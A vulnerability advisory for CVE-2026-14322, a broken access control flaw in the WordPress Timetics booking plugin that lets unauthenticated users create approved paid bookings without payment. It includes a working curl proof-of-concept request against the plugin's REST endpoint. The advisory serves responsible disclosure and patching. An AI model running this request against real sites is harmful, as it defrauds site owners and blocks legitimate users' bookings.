Home/Security Research/CVE-2026-14322

CVE-2026-14322

MEDIUM — CVSS 5.3

Unauthenticated Booking Auto-Approval via Arbitrary payment_method in Timetics Plugin

PluginTimetics
Affected< 1.0.57
Fixed in1.0.57
VulnerabilityBroken Access Control / Access Controls (CWE-284)
CVSS Score5.3 Medium
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Discovered byMd Minaruzzaman Shovon
DisclosedJuly 2026

Summary

A Broken Access Control vulnerability exists in the WordPress Timetics plugin in versions prior to 1.0.57. The plugin fails to enforce a pending or unpaid status for new bookings created through payment methods other than its recognised gateways, allowing unauthenticated users to create fully-approved bookings for priced appointments without making any payment.

Technical Details

When creating a booking via the plugin's REST API endpoint (/wp-json/timetics/v1/bookings), an unauthenticated attacker can supply an arbitrary payment method parameter (e.g., payment_method: "paypal") along with status: "approved".

Because the backend validation did not restrict or verify payment completion for custom or unrecognised payment method inputs, the booking is instantly marked as approved. Confirmation emails are triggered, calendar slots are reserved, and appointment details are finalized without any actual financial transaction taking place.

Proof of Concept

A single unauthenticated HTTP request against a bookable priced appointment:

curl -s -X POST 'https://TARGET/wp-json/timetics/v1/bookings' \
  -H 'Content-Type: application/json' \
  -d '{"first_name":"PoC","email":"[email protected]","payment_method":"paypal",
       "appointment":<MEETING_ID>,"staff":<STAFF_ID>,
       "start_date":"2026-05-21","start_time":"12:00pm","end_time":"12:30pm",
       "timezone":"Asia/Dhaka","location_type":"attendee-call",
       "order_total":100,"status":"approved"}'

# Response: "status":"approved","order_total":"100" - booking created as approved
# with no payment processed (confirmation emails sent, calendar event created, slot reserved).

Impact

An unauthenticated attacker can:

  • Bypass payment processing to secure paid appointments for free
  • Exhaust available appointment slots and block legitimate users (Denial of Service for bookings)
  • Trigger automated email notifications and calendar events without authorization

Remediation

Update Timetics to version 1.0.57 or later. The patch enforces strict status and payment gateway checks, ensuring that unverified payment methods cannot bypass the payment step or auto-approve bookings.

Timeline

Jul 2026Vulnerability discovered and responsibly reported to WPScan / plugin author
Jul 2026CVE-2026-14322 assigned — patch released in version 1.0.57
Jul 1, 2026Public disclosure published on WPScan

References

Researcher

Discovered and responsibly disclosed by Md Minaruzzaman Shovon, full-stack developer and security researcher based in Bangladesh. Verified on WPScan and Patchstack.